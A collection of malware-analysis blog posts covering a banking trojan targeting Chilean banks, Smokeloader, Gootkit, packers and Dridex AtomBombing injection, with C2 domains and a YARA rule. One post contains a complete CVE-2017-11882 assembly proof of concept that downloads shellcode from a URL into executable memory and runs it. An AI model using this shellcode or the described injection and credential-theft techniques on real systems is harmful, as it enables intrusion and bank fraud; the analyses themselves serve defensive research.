B5C959E662E2100F08 GENERAL=
185BF60815007BEB VERSAO=
99C559E66A WIN=
9DD873899E99D243 PLUG1M=
1C68E867 AV=no
1A7EE257EA1844E86FAC53BF4539C27B8FCE67FC3AA354F27FE66CE456AD8EC551FF73 163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7
09638E43CA46ACA043E9719ABB63E47D9A33CC1514B1A9E37BFF03372641C01DCA55CF1CD96DF058F01F291EBCA682B23EE978D05C829C59F9181F MusAERGfaH8SjBVKplZDn31JNTb7LOioF6Uqz4xheI0k52vXdcm9gPrtQC
3B9BA85983BA28D97FA04F scotiabank
2FA450FF2DCA1ADA0DCD7EC3719F4E bancoconsorcio
34A351FB22D170B0649F4286 bcipersonas
D37DB95A86AF26D4073F transbank
0959EC1CDE0240F628D67FC2678DBB679D29D80E31A557 captureusernamehsbcnet
78EF32D8073E95598AA650 btgpactual
2FA450FF2DCA1BD30425C90E39EE20C964E80B5D8F30DE77BE1E28D872D36F bancodeldesarrollodescotiabank
CA18D77A91548D5382BC68FA38 bicepersonas
A5D26291BA7CF509C46B9E30F5 BancoEdwards
61F60E3DEE085F9D48E10443F9 bancocondell
C21EDB0823D3013CDB063B975E8FB569 homebancoripley
D3092EDA0ED40337E108 hometbanc
1542F228C77DD16890B8 bbvachile
67E20A36D5194AE411CE77D96DA549ED36AF pymeyempresasbbva
D40235E20821B346F61534AA41E80B bancofalabella
36AD5986A74192558DA34B89 bancoestad
6FE4103FEC0A5AEC1431D9758C bancodechile
F450E91DDF17B74EFF3DEC6182A65B portalempresas
D40235E20821A051FB3DDD7FB55E91 bancosantander
98CF6794B97FDC0227 bancoita
78EC0628C361E4153AE306 accesoaita
F0669141EA0C4BE30335E47DA764 bancosecurity
D30332E10B2CA143F314C5073EE40F38F46E89 bancointernacional
499E5685A640975482BF61F136DC7F bancocorpbanca
WMI using monikers

The technique that the malicious sample uses to execute the WMI commands, is through the use of monikers (https://docs.microsoft.com/en-us/windows/desktop/wmisdk/constructing-a-moniker-string)

Using CreateBindCtx in order to create a bind context, then the function MkParseDisplayName will be called to create the moniker and finally, BindToObject will be called to execute, in this case winmgmts:\localhost\root\SecurityCenter2 to obtain info about the antivirus, antispyware and firewall.

With this interface the malicious sample has the ability to use WMI.

Some of the commands executed with this method:

Command Description
winmgmts:\localhost\root\SecurityCenter2 WMI Service to obtain info about installed security products.
SELECT * FROM AntivirusProduct Info about Antivirus (Enabled or Disabled)
hnetcfg.fwmgr WMI Firewall Service to obtain info and control the firewall policy

The core funcionality of this malicious sample is performed using callback functions:

These callbacks are implemented using timers and Windows Hooks (using SetWindowsHookEx)

The different functions of the callbacks obtain info about the state and position of the windows, using functions like GetDesktopWindow, GetTopWindow, GetWindow

In addition, the functions check the keys introduced by the user using GetAsyncKeyState function:

If it detects that the user is trying to transfer money using the web browser from one of the Chilean banks that monitors, it will steal the user credentials in order to perform money transfers to another account.

In addition and due to the use of the second factor is nowadays something common, a way to obtain the second factor code using social engineering has been implemented.

The technique consist in show a popup asking the user for the second factor code.

Bank steal info (second factor)

There are several forms to accomplish this task.

As it can be seen, there are specific forms in order to make the scam more effective.

BBVA bank is not the only one affected by this malicious sample, in the next section it is possible to find the affected financial institutions.

Affected Financial Institutions:

Looking the images:

  • BBVA Chile
  • Santander Chile
  • Banco de Chile
  • BCI
  • BancoEstado
  • Scotiabank
  • Itaú
  • BancoBice
  • BancoSecurity
  • Banco Internacional Chile

Looking strings (deciphered):

  • Scotiabank
  • Banco Consorcio
  • Banco Bci
  • Transbank S.A
  • HSBCnet
  • BTG Pactual
  • Banco Bice
  • Banco Edwards
  • Banco Condell
  • Banco Ripley
  • BBVA Chile
  • Banco Falabella
  • Banco Estado
  • Banco de Chile
  • Banco Santander Chile
  • Banco Itaú (bancoita)
  • Banco Security
  • Banco Internacional (Chile)
  • Banco CorpBanca
Clipboard cryptohijacking

Another characteristic of this malicious sample, is the ability to detect and change the user BTC address from the clipboard by the hardcoded in the malicious sample, with the objective to trick the user to send the funds to the cybercriminal BTC address.

BTC address used by this malicious sample:


The sample establishes communication with the domain hxxp://dbcadastro.com/cadastramentoS5/ponto.php (IP, the server returns "a FALSEfalse 0".

The message sent by the malicious sample contains the following info:

Command Description
GENERAL=[SystemName] System name
VERSAO=[Maybe the malware version] Maybe the malware version
WIN=[Windows OS Version] Windows OS version
NAVEGADOR=[WebBrowserInfo] Web browser info


Brazilian banker malware by their tactics, techniques and procedures (TTPs) targeting Chileans financial instituions, in order to steal, bank credentials using fake bank pop-ups. It seems more advanced than the common Brazilian malware, using certificates, on demand string deciphering and WMI monikers. Moreover implements clipboard cryptohijacking techniques.

Malicious sample characteristics and capabilities:

  • TTPs related to Brazilian malware (Delphi)
  • Chileans bank affectation.
  • Use of WMI monikers to obtain info and manipulate the antivirus, firewall etc...
  • Uses valid certificate to bypass Microsoft SmartScreen.
  • Ciphered strings, only deciphered on demand.
  • Steals bank credentials and double factor tricking the user, using fake popups requesting for second factor code.
  • Clipboard BTC address cryptohijacking.
  • Keylogger features


Process with this mutex:

C&C - Domains and IPs
http://dbcadastro.com/cadastramentoS5/ponto.php (Dynamic DNS)
Domains from VT passive DNS related to
2018-07-21 impressoscapao.com.br
2018-07-21 www.impressoscapao.com.br
2018-07-21 www.wonderdesigngrafico.com
2018-07-21 wonderdesigngrafico.com
2018-07-20 targetnegocios.com.br
2018-07-20 www.lilianecassinelli.com
2018-07-20 lilianecassinelli.com
2018-07-20 treinalinux.com
2018-07-20 www.treinalinux.com
2018-07-20 www.flordelizbrechoinfantil.com.br
2018-07-20 flordelizbrechoinfantil.com.br
2018-07-20 www.cfnow.com.br
2018-07-20 cfnow.com.br
2018-07-20 www.rcstylebrasilia.com.br
2018-07-20 rcstylebrasilia.com.br
2018-07-20 www.bepersonalstyle.com.br
2018-07-20 bepersonalstyle.com.br
Domains from VT passive DNS related to (Dynamic DNS)
2018-04-05 ssl.ddns.me
2018-01-19 ssl2018.brasilia.me
BTC Address used for clipboard cryptohijacking

PE Signature

Serial Number             : 23 4f 65 60 e6 7b 93 d4 45 86 21 7b e3 e7 49 52
Signers                   : ITWAYSUK LTD; COMODO RSA Code Signing CA; COMODO SECURE™
Counter signers           : Symantec Time Stamping Services Signer - G4; Symantec Time Stamping Services CA - G2; Thawte Timestamping CA
Snort Rule
alert tcp any any -> any any (msg:”BrazilianBanker”;
Generic Yara Rule
rule GenericBrazilianBankerRule {
      description = "GenericBrazilianBankerRule"
      date = "2018-07-22"
      hash1 = "7acb19b31a431ba3ca05acff9c1b378eb1658585761ff84ca762e2b5f16098d0"
      hash2 = "d0e232ac6602d7c09e5ee233fb5865c1b9286e90973058665e0c76917a50c95d"
      hash3 = "b04e2037771923747ff98afb6cfd1d6769b6d266f781e66ebe7d92fd43e7b92b"
      hash4 = "e133c2134604d5ae038583f848df13cc8ab42be77e25554d78a938f2ff078437"
      hash5 = "6aaf83ff0b2deda98eb39150ff90c47b4a5f5f78d1eb0f185017ede95bfdedf5"
      hash6 = "97e10f669c1094838f3814e8f850d8cf9479db3a8b5fc7fe2bcde1edf1977dfa"
      hash7 = "985c6d89543563901c131c5cc7143f680fd957b8aa74c0f5dd25f7e462e354e9"
      hash8 = "1eef0649b231f9ce0838f1a04658ad4f6c8563b9ad7358397db09d21ac744a52"
      hash9 = "e65948d6caefa012741edda1f9f99b56abfed5e66d101178cd846679717c6b29"
      hash10 = "1386c27973e299b5fb07bb6ad065e02c6bcac5d2b29da15a068be9f6d29dfa30"
      hash11 = "4a18f1e284fd06ef9b96bdc4b0b1666810f4868fc8d1edfbaf46727dfce416eb"
      hash12 = "425a4bfcb429761781550117cc95f4cb3778279bb9535caeb3824e086593faa1"
      hash13 = "6e82426990e76b0847fd0446c54c92a0b5833f65aee2d135fea183c67badd944"
      hash14 = "ba1ccda1cb3e73b95f75b014abb5d078510b3ad71fde21164494714d9bb776e9"
      hash15 = "bc5662a336871a35ead6522dd17a83861338cf354b4baa62a672ffdc111c9f96"
      hash16 = "f233313327906be03487c3f20732f5cf8f8e1150d19a9dc30e68e9db2d85a0ca"
      hash17 = "19ea016096b35c7af9a4b7b4f586070e3203f4b91be329d26783c6b1f3ec8346"
      hash18 = "007cb339f4314da51f34f46d51adb9537229750e6112f4cf192db872042793b6"
      hash19 = "a8dcda65baf611c2a7c35a129eb6903c779e45a90f91d4515db5d4af72bbebf5"
      hash20 = "067fb3fbfaee68e825af3b184bf61b7997ed3b0a1cf833aecba40b00d00fcb04"
      hash21 = "0dca0f585bb175dc5b248cbf2d32651647736199999d3af533f917e009ea9f11"
      hash22 = "77426ec69ec283fb561022e32c37768da6ae08e5ea24bb8aae134af971ded426"
      hash23 = "b96a43bfbf8a03b019fb3cd82834576b23299d12ebe985ea19684829b6be22ce"
      hash24 = "94c69d61e769cbd0229af67461749121f02d067ec4c1b1d14f95f35af2576243"
      hash25 = "f65a4dfeef0a7b5d539ab889d8badf0100017ebe11a9cb784882813ddbf3a00c"
      hash26 = "8418c5026cc9a1656859bac2c5f504561c76559d5ebcbdf3c0a7a74cf3b4458c"
      hash27 = "033489ac01edb282a139a19058fb746db01f62c5c70bf49cc34e5cc35130cd4b"
      hash28 = "4ac058056fa965b6a9ae5efa8a4af44827952ae3c64af9352250f48eeefda0a2"
      hash29 = "60a4801983780a0b2b971bfe906e8ab2204323538ce964ddc093ed493136177b"
      hash30 = "30ddce8086742c014e3a796c4406262a0696bdf8703cf0996a32f8fa27449c2a"
      hash31 = "a617e7d9c5066ad2e125297257f92fcf1ba2106adde60571799c07c0ce55f96f"
      hash32 = "f45355992af923ac4bdb49e691a2d7e3d590cfd368678b7a78add63681b03583"
      hash33 = "a4c94417cb5f33054feee449de342d6afb7c1836194259af3b5048d3e06cf4c3"
      hash34 = "f2f645c0864cf536c9461339633a3ede4bd9f58dead05d10fafbd18429bba206"
      hash35 = "2b6b1c4de97695c278348f3e34e274f3ba6328a210f9e2dbe3035c9eff595cfd"
      hash36 = "78ded77048f73d94a6bee27ef9a229c2e07de616732b8ce0d990f38a158e5ada"
      hash37 = "a02e430146b555b68db882aeb26a02fcc044bcb27c23f2dc80d579e41775b7d5"
      hash38 = "3ae06cbc3ae679d9eb19a03277c9c87258c4607fd3c561523afae89742b6895e"
      hash39 = "f00724324df876d30b5b708301c4179b67f39927276e9c9a17d24e769d5b8152"
      hash40 = "b101e15184908561673ebc20ca4464789d363bdc8f5a3d54f4ca127fac57e100"
      hash41 = "7e5c63d2b9287f31a7679055f9172ec449b230663573296db502954c9677ab3b"
      hash42 = "a3626c6cd21e1be1ed25bc1939aa9922a7aaa4bc2ffdd1bfbd9952bb3c357a97"
      hash43 = "543da2c0830049b84d8e6667d05f802cf1a3f65eaccc96b5efb4c17538f233bd"
      $s1 = "Invalid characters in path The specified file was not found*Windows socket error: %s (%d), on API '%s'" fullword wide
      $s2 = "SelectedNotFocusedHot$tlGroupHeaderLineCloseMixedSelection'tlGroupHeaderLineCloseMixedSelectionHot" fullword ascii
      $s3 = "C:\\ProgramData\\testyy.txt" fullword wide
      $s4 = "ExecuteMacroLines" fullword ascii
      $s5 = "ctedNotFocusedHot#tlGroupHeaderLineOpenMixedSelection&tlGroupHeaderLineOpenMixedSelectionHot" fullword ascii
      $s6 = "MTDelegatedComparer<System.Rtti.TPair<System.TypInfo.PTypeInfo,System.string>>" fullword ascii
      $s7 = "FOnExecuteMacro" fullword ascii
      $s8 = "OnExecuteMacro" fullword ascii
      $s9 = "ExecuteMacro" fullword ascii
      $s10 = "?TDelegatedComparer<System.Rtti.TMethodImplementation.TParamLoc>" fullword ascii
      $s11 = "System.Win.ScktComp" fullword ascii
      $s12 = " - Host: " fullword wide
      $s13 = "OnGetPassword" fullword ascii
      $s14 = "4TDelegatedComparer<System.HelpIntfs.THelpViewerNode>" fullword ascii
      $s15 = "WSAASyncGetHostByName" fullword wide
      $s16 = "Error setting %s.Count8Listbox (%s) style must be virtual in order to set Count%Cannot remove shell notification icon\"%s requir" wide
      $s17 = "CTDictionary<System.string,System.TypInfo.PTypeInfo>.TPairEnumerator" fullword ascii
      $s18 = "FGetHostData" fullword ascii
      $s19 = "~System.Win.ScktComp" fullword ascii
      $s20 = "GetCookieByNameAndDomain" fullword ascii
      ( uint16(0) == 0x5a4d and
        filesize < 28000KB and ( 8 of them )
      ) or ( all of them )
Malicious samples from VirusTotal with the same PE Signature

Author: @51ddh4r7h4

5 months ago

Smokeloader Malware Analysis

md5: 13E928FD0CC989BEAF07196FDC8D5BE2

In this article I going to explain, how the malware works, in a summaryzed form, at the same time I will remark some antidebug and antivm tricks tricks that the sample uses.

First Stage Sample Execution

The sample is strongly MFC based (virtual classes (ordinals))

Moreover, some of the strings are hidden using this stack-strings technique:

The process will create a new suspended process, a copy of itself, it will perform some modifications before resuming the thread. This is the first antidebug trick.

Child Process

Then the code injected in the child process will overwrite the code in order to difficult the analysis, we have to be very careful with the break points at this point.

When the new code is written it will jumps to it, and it will erase the "old code" using rep stosb byte ptr es:[edi], al

rep stosb passed, code erased:

Then the sample will check if there is any debugger attached using the PEB + 2 trick, if it find other value than 0, there is a debugger attached to the process.

Example bad case, debugger hunted :

Debugger Hidden:

In addition, it will check GlobalFlags using PEB + 68, if it find other value than 0, the program explode :P

The sample will continue erasing the "old code" and creating the new one:

The code will find the functions using GetProcAddress after load user32:

Resolving addresses:

At this point, the process will use SetKernelObjectSecurity

Virtual Machine checks using GetVolumeINformationA -> GetQueryValue -> System\CurrentControlSet\Services\Disk\Enum"


Then, the sample will check if there are any string into "SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S\5&1ec51bf7&0&000000" related to:

  • qemu
  • virtual
  • vmware
  • xen

The sample will check if its name is "sample" and if there is installed "AutoItv3CCleanerWIC" using the "Software\Microsoft\Windows\CurrentVersion\Uninstall" entry.

Then it will check if sbiedll.dll (sandboxie dll) or if dbghelp (ollydbg dll) are loaded.

When all the checks are bypassed, it will creates a new suspended process, explorer.exe, using CreateProcessInternalA:

Some modifications into explorer.exe and finally ResumeThread:

Resume thread to start the malicious activity ^^


Code injected into explorer:

Cyphering the info:

Creating the PE and persistence:

Communication with jirar.su.

Tricks summarized:

  • MFC Code (virtual classes)
  • Hidden Strings
  • Creation of child process.
  • PEB + 2 (Debugger)
  • PEB + 68 (GlobalFlags)
  • Erasing/Creating code rep stosb byte ptr es:[edi], al
  • VirtualAlloc/VirtualFree
  • Name "sample"
  • "System\CurrentControlSet\Services\Disk\Enum" -> QEMU, Virtual, VMWARE and XEN. (charttolower :P )
  • "Software\Microsoft\Windows\CurrentVersion\Uninstall" -> "AutoItv3CCleanerWIC"
  • sbiedll.dll (sandboxie dll).
  • dbghelp (ollydbg dll).
  • Process tree:

The malware connects to the C&C http://jirar.su/.

However this url is encrypted in the binary. The function that the malware uses to decrypt the C&C is the next:

This function uses ESI register, that points to the start of the ciphered "string", then the function will uses xor operations to descipher the string.

Decryption function

jbe 9719A9                                      
mov al,1                                        
xor ecx,ecx                                     
mov cl,al                                       
add ecx,edi                                     
dec ecx                                         
mov cl,byte ptr ds:[ecx]                        
xor cl,byte ptr ds:[esi]                        
xor ebx,ebx                                     
mov bl,al                                       
add ebx,edi                                     
mov bl,byte ptr ds:[ebx]                        
xor bl,byte ptr ds:[esi]                        
mov byte ptr ss:[esp+4],bl                      
sub cl,byte ptr ss:[esp+4]                      
xor ebx,ebx                                     
mov bl,al                                       
add ebx,dword ptr ss:[esp]                      
dec ebx                                         
mov byte ptr ds:[ebx],cl                        
inc edi                                         
inc eax                                         
dec dl                                          
jne 97197C                                      
xor eax,eax                                     

Author: @51ddh4r7h4

8 months ago


Some days ago I found some samples packed with the same packer. I think it is an old packer which looks like a "simple" wrapper. So I decided to write a static unpacker and here is my brief analysis of the packer and the code I wrote.

Brief analysis

The packer I have analyzed looks like:


It adds a new section (the last section) to the file. And sets the entry point to that section. The last
section is the stub, it has some encrypted subroutines which finally decrypts the others sections.
For performing the unpacking process, it has a structure saved 5 bytes after the entry point. I have
called PACKER_ENGINE to this structure.


original_entry_point → original entry point of the program after unpacking.
import_directory → import directory address for the unpacked program.
base_address → the image base address of the program.
crypted_block_rva_begin → the beginning of the encrypted data (the beginning of the first secction normally.
crypted_block_size → the size of the encrypted data.
crypted_block_rva_end → the end of the encrypted data (the beginning of the last section)
bypass_size → the raw size of the last section pointed by “crypted_block_rva_end”. The data of the last section is not encrypted in many cases.
xor_key → the algorithm that protects data is a simple XOR, this field is the key of that encryption algorithm.

The image below shows the case when the last section is not encrypted.


The image below shows the case when the last section is encrypted.


The PACKER_ENGINE values are protected with the NEG instruction. So before use them we
have to NEG those fields.

Once we know this the unpacking process is easy:
1. Collect PACKER_ENGINE data.
2. Decrypt data.
3. Change in the header the entry point.
4. Change in the header the address of import directory.

Code and packed samples

The unpacker was implemented in both C/C++ and Python. The python version isn't very efficient but it works well.

Github: shrinkwrap_unpacker


I havn’t implemented but I think the last section can be delted after the unpacking process.
1. Change in the header number of sections.
2. Change the Size of Image.

Author: @D00RT

9 months ago

Tested sample md5: ae3ef3d2b5e953242d963efc2c635bd9

Gootkit is a banking malware that I started analyzing few days ago.

After unpacking some samples, I found some creepy loops and encrypted strings…

Image 1: Two encrypted strings.

For each string it uses, there is a loop to decrypt the string. After many samples analyzed (2 samples hahaha) I was bored with those loops. So I thought to write an script (my first radare2 script) to decrypt each string and comment my IDB.

Image 2: Many strings, many loops.

Finally, I have done a script (using radare2) which derypts/patches all strings and patches each loop. (because after the patch, the strings are decrypted, so it isn't necesary to continue decrypting the strings)

Lets analyze the encryption algorithm/loop.

In each loop there are two important values, one is the value for the control of the loop and the second one is the value which is used for dividing the counter of the loop (used as a module).

Image 3: The beginning of the loop to decryp a string.

Image 4: The algorithm (XOR) to decryp a string.

Image 5: The code of the loop to decrypt a string.

In this loop that i will show as example, the value for ending the loop is 0x14 and the second value which is used for dividing the loop counter (as a module) is 0x6 (before idiv instruction).

After analyze this loop we notice that, the values of the the first 0x14 mov instructions are the characters of the encrypted string and the next 0x6 value are the characters of the key. The encryption algorithm is too easy, a simple xor between the string and the key.

Finally, after patching the program with the script, (and parsed de output for IDA comments) the result is the next one:

Image 6: In the left the original program with the encrypted string. In the right the patched program with the decrypted string and commented.

All strings are decrypted and a comment is added next to the string (And works without crashing =D)

The details of how it is implemented in radare2 are in the script.

Image 7: The output of the program where you can see the decrypted strings and its offset.

Easy way.

Feel free for sending any suggestion.

Github (SCRIPT): gootkit_string_patcher
Author: @D00RT

9 months ago


SAMPLE MD5: 50d3cbd314e39b28bcd7938794e18c97

This sample is packed with a packer that drops a shellcode to decompress the

The packer uses a similar technique to “Process Hollowing”. In this case, after dropping the shellcode, the shellcode decodes the payload. Finally, the shellcode unmaps the packer and it maps the payload in the same memory address as the packer was.

The next image shows the different phases of unpacking process.

1.pngImage​ ​ 1:​ ​ Logic​ ​ summary​ ​ of​ ​ the​ ​ packer.

1. When the packer is in memory, after a process which I am going to describe later, it​ ​ drops​ ​ the​ ​ shellcode.
2. The shellcode drops encoded payload and decrypts it. After the decryption the payload​ ​ is​ ​ not​ ​ ready​ ​ yet​ ​ (red​ ​ color).
3.​ ​ The​ ​ shellcode​ ​ unmaps​ ​ the​ ​ packer.
4. The shellcode maps the decrypted payload at the same position as the packer was.
5.​ ​ The​ ​ shellcode​ ​ fixes​ ​ the​ ​ imports​ ​ addresses​ ​ which​ ​ will​ ​ be​ ​ used​ ​ by the​ ​ payload.
6.​ ​ Finally, ​ the​ ​ payload​ ​ is​ ​ executed.


I​ am​ going​ to​ explain​ in​ detail​ the​ 6 steps​ described​ above.

The​ first​ step​ (1)​ drops​ the​ shellcode​ using​ Windows​ messages.

2.pngImage​ 2:​​ ​ Main​ code of​ the​ packer.

The image 2 shows how the class named “needed” is registered. “needed” class has associated the subroutine “sub_4041A6” (The shellcode will be written by this subroutine).
After​ registering​ the​ class,​ the​ packer​ creates​ a ​ “needed”​ window.

The packer loops until it does not get more messages, at this moment the shellcode is​ ready​ to​ run​ (“image​ 2”,​ line​ 24).

“sub_4041A6” subroutine works as state machine. Depends on the received message, it jumps​ to​ one​ state​ or​ another.​ The​ next​ messages​ are​ the​ most​ important​ for​ the​ subroutine:

  • Message 0x111: This message manages the state machine, depends on lParam theprogram jumps to one state or another. The packer drops the shellcode after passing for all states.

Image 3 shows how the messages are managed by the window. If the message is different to 0x111 the program pass the message. In addition, if the message is 0x111 with value​ 0x579​ as​ lParam​ the​ window​ will​ start​ to​ drop​ the​ shellcode.

3.pngImage​ ​ 3:​ ​ Reading​ ​ 0x111​ ​ message.

  • Message 0x401: When this message is received, it will start to decode the shellcode. The wParam is the memory address to write from and the lParam is the address to​ write​ to.

4.pngImage​ ​ 4:​ ​ Message​ ​ 0x401​ ​ loop​ ​ which​ ​ is​ ​ responsible​ ​ for​ ​ decoding​ ​ the​ ​ shellcode.

The​ loop​ shown​ in​ the​ image​ 4,​ basically​ do​ the​ same​ as​ the​ next​ pseudo​ code.

dir_src​ = *wParam
dir_to_write​ = *wParam​ + 4
offset​ = lParam
for​ i in​ range(15):
    [dir_to_write]​ = [dir_src​ + i]
    dir_to_write​ = dirt_to_write​ + offset

This​ message​ is​ sent​ until​ the​ packer​ writes​ the​ shellcode.

When shellcode is executed, it decrypts itself at the beginning. After this decryption, the​ shellcode​ starts​ to​ work.

5.pngImage​ ​ 5:​ ​ Entry​ ​ point​ ​ of​ ​ the​ ​ shellcode​ ​ before​ ​ the​ ​ decryption.

6.pngImage​ ​ 6:​ ​ Piece​ ​ of​ ​ code​ ​ of​ ​ initial​ ​ decryption​ ​ just​ ​ before​ ​ calling​ ​ to​ ​ the​ ​ decrypted​ ​ shellcode.

7.pngImagen​ ​ 7:​ ​ Entry​ ​ point​ ​ of​ ​ the​ ​ shellcode​ ​ after​ ​ the​ ​ decryption.

The shellcode allocates memory with VirtualAlloc function and starts to drop binary data​ which​ looks​ to​ be​ compressed.

8.pngImage​ ​ 8:​ ​ Uncompress​ ​ process.

After​ uncompressing​ data,​ we​ can​ find​ the​ payload.

9.pngImage​ ​ 9:​ ​ uncompressed,​ ​ payload.

Now we are at the third (3) step, the shellcode will unmap the packer and will map the​ decrypted​ payload​ in​ the​ same​ address​ as​ the​ packer​ was​ (4).

10.pngImage​ ​ 10:​ ​ Unmap/map​ ​ code.

Finally, the shellcode fixes up the import addresses of the payload and it passes the control​ to​ the​ payload.

11.pngImage​ ​ 11:​ ​ Fixing​ ​ up​ ​ the​ ​ imports​ ​ of​ ​ the​ ​ payload.

12.pngImage​ ​ 12:​ ​ Jump​ ​ to​ ​ OEP.

The first command for starting the unpacking (in the subroutine associated with the "needed" registered class) is when the lParam is 0x38.

The firs state of the "needed" class is to get the system time. Once it has the current month (using GetSystemTime) it moves to lParam, the current month value (1 = January, 2 = February ... 11 = November, 12 = December) plus 0x27 and sends the message.


So, If it is not November It won't unpack =(

Author: @D00RT

about 1 year ago


In this POC we are going to demostrate how to perform a fileless code injection into EQNEDT32.EXE (Microsoft Word Equation Editor) .

We are going to use the unamer implementation (https://github.com/unamer/CVE-2017-11882 ) (605 bytes) to inject our shellcode into the vulnerable Microsoft Word component.


The idea is to use the WinINet functions to download a shellcode from internet, but directly into the memory of the process without using any intermediate file.

In this POC we have been able to perform this using these functions:

VirtualAlloc: To allocate memory in order to fill it directly with the downloaded shellcode
InternetOpenA: Initializes an application's use of the WinINet functions
InternetOpenUrlA: Opens a resource specified by a complete FTP or HTTP URL.
InternetReadFile: We will download the shellcode in 2000 bytes chunks directly into the allocated memory.

POC - Code




Mov Ebx, Ecx

jmp @_0   

szWininet db 'wininet', 0

szWin3 db 'InternetOpenA', 0

dwInternetOpen dd 0

szInternetOpenUrlStr db 'InternetOpenUrlA', 0

dwInternetOpenUrl dd 0

szInternetReadFile db 'InternetReadFile', 0

dwInternetReadFile dd 0

szURL db 'http://[domain/file]', 0
szUserAgent db 'CVE-2017-11882 - Word Exploit - User Agent', 0

dwBytesRead dd 0


; ecx = start address
mov edi, 4668A4h ; LoadLibraryA

; call LoadLibrary("wininet") without .dll 
lea edx, [ebx+(WinINetStr - init)]
push edx  
call DWord Ptr [Edi] ; call LoadLibrary

push eax ; Save WinInitHandle in the stack

; Call GetProcAddress looking for "InternetOpen"
lea edx, [ebx+(InternetOpenStr - init)]
push edx             ; "InternetOpen"
push eax             ; WinInitHandle
sub edi, 14h         ; GetProcAddress
call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenAddr
mov [ebx+(InternetOpenAddr-init)], eax

Pop Eax  ; Recover WinInitHandle
Push Eax ; Save WinInitHandle

; Call to GetProcAddres looking for "InternetOpenUrl"
lea edx, [ebx+(InternetOpenUrlStr - init)]
push edx             ; "InternetOpenUrl"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenUrlAddr
mov [ebx+(InternetOpenUrlAddr-init)], eax

Pop Eax ; Recover WinInitHandle

; Call to GetProcAddress looking for "InternetReadFile"
;mov eax, [ebx+(WinInitHandle - init)]
lea edx, [ebx+(InternetReadFileStr - init)]
push edx             ; "InternetReadFile"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetReadFileAddr
mov [ebx+(InternetReadFileAddr-init)], eax

; Clean esi
xor esi, esi

; Call to VirtualAlloc
push 40h             ; PAGE_EXECUTE_READWRITE
push 3000h           ; 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE)
push 19000h          ; size
push esi             ; lpAddress
mov edi, 4667D8h     ; VirtualAllocAddr
Call DWord Ptr [Edi] ; Call VirtualAlloc

Push Eax ; Save eax (Memory allocated Start Address) from VirtualAlloc into Stack

; Call to InternetOpenAddr
lea edx, [ebx+(UserAgent - init)] ; UserAgent
push esi ; NULL
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; UserAgent
mov edi, [ebx+(InternetOpenAddr - init)]
call edi ; Call to InternetOpenAddr

; Call to InternetOpenUrl
lea edx, [ebx+(URLOpen - init)]
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; URL
push eax ; InternetOpenHandle
mov edi, [ebx+(InternetOpenUrlAddr - init)]
call edi ; Call to InternetOpenUrl

Mov Edi, [Ebx + (InternetReadFileAddr - init)]
Pop Edx  ; Start Address memory alloc
Lea Esi, [Ebx + (BytesRead - init)]

Push Edx ; Save Start Address of memory allocated


Push Edx ; Save Start Address of memory allocated (Buffer)
Push Eax ; Save Handle of InternetOpenUrl

push esi  ; Pointer to a variable that receives the number of bytes readed
Push 2000 ; Size Number of bytes to be read
push edx  ; Buffer
push eax  ; InternetOpenUrlHandle
Call Edi

Pop Eax ; Recover Handle of InternetOpenUrl
Pop Edx ; Recover Start Address of memory allocated (Buffer)
Add Edx, [Esi] ; Modifies buffer 

cmp DWord Ptr [Esi], 2000
jz ReadFileInit

Pop Edx ; Recover Start Address of the allocated memory 
Jmp Edx ; Jump into the fileless code 

; To know the size of the shellcode

Mov Eax, (_critical - init)

End start


As we have demostrated in this POC, is possible to perform a fileless code injection.

We recomend everyone to UPDATE Microsoft Office in order to be protected against this vulnerability.


Embedy Company (https://github.com/embedi/CVE-2017-11882)
unamer (https://github.com/unamer/CVE-2017-11882)
@ValthekOn (https://29wspy.ru/reversing/CVE-2017-11882.pdf)

Author: @51ddh4r7h4

over 1 year ago

Dridex has evolved, and now Dridex V4 uses Atom Bombing to perform process injection.

This method allows Dridex to perform sneaky injections to evade AV solutions.

In this post, we are going to explain how Dridex gain persistence in the system and how Dridex performs AtomBombing in detail.


This Dridex version uses different techniques to persist into the system.

First the malware enumerates all executable files into the "C:\Windows\System32\" folder.

Dridex has a preloaded hash. For each filename, the malicious code calculates its hash. When the calculated hash matches with the Dridex preloaded hash, the malware will save the filename to use it later.

In the image below, in r12d we can found the preloaded hash and in RAX the filename hash, that Dridex is looking for. The malware compares both values. In this case matchs because the file that the malware was searching was "optionalfeatures.exe".

After choosing the executable, the malware reads the executable IAT and then selects a dll from the IAT. The malicious code will do that to use a dll hijacking technique. (In RDX we can find the import directory address).

When the dll is chosen from the executable IAT, Dridex reads and copies the EAT from the chosen dll. (In this case the selected dll is appwiz.dll).

You can find below the function that Dridex uses to obtain the EAT.

The EAT is copied into a buffer.

Once this is done, the malware copies itself and adds a new section into itself (This section has a random name). The dridex copies the obtained "EAT" in that section.

With this technique (DLL hijacking) when OptionalFeatures.exe is executed it will load appwiz.dll but appwiz.dll is a modified copy of dridex.

After get an executable and its modified dll, both files will be saved into the disk, then some registry keys will be added to execute the binary when the system boots.

The registry key is added with a random name in "..\SOFTWARE\Microsoft\Windows\CurrentVersion\Run{randomstring}"

A lnk file into startup folder.

Finally the malware copies another two files (an executable and a modified dll) into "C:\Windows\System32[0-9]{4}" folder and creates a programed task that will execute that executable each hour.

Notice that in each execution Dridex will choose a different executable file and a different dll for its persistence.

AtomBombing Injection

AtomBombing injection method is based in APC injection, but in this case, this method uses the Atoms (Windows Executive Objects) to hide and copy the shellcode into the process objetive.

The use of Atoms make the injection more stealthy because the AV products usually do not make any check when Atom creation or reading occurs.

In addition, is difficult to analyze in real time, because the malware analysts are not able to check the Atoms in an easy way, moreover Dridex delete the atoms during the injection process, making more difficult to obtain the shellcode via atoms.

In our opinion, we think that is more useful to obtain the shellcode directly from the injected process, and by that reason we are going to explain all the process showing the injection from the malicious Dridex DLL to the explorer.exe.

What Dridex does?

We are going to explain briefly, what are the steps that Dridex take in order to perform process injection via AtomBombing.

Looking for explorer.exe

The first step in this case, is to find explorer.exe, to do this, Dridex uses "CreateToolhelp32Snapshot"function to create an snapshot of all system processes, and then it will navigate among the processes using Process32FirstW and Process32NextW until explorer.exe is found.

Looking for alertable threads

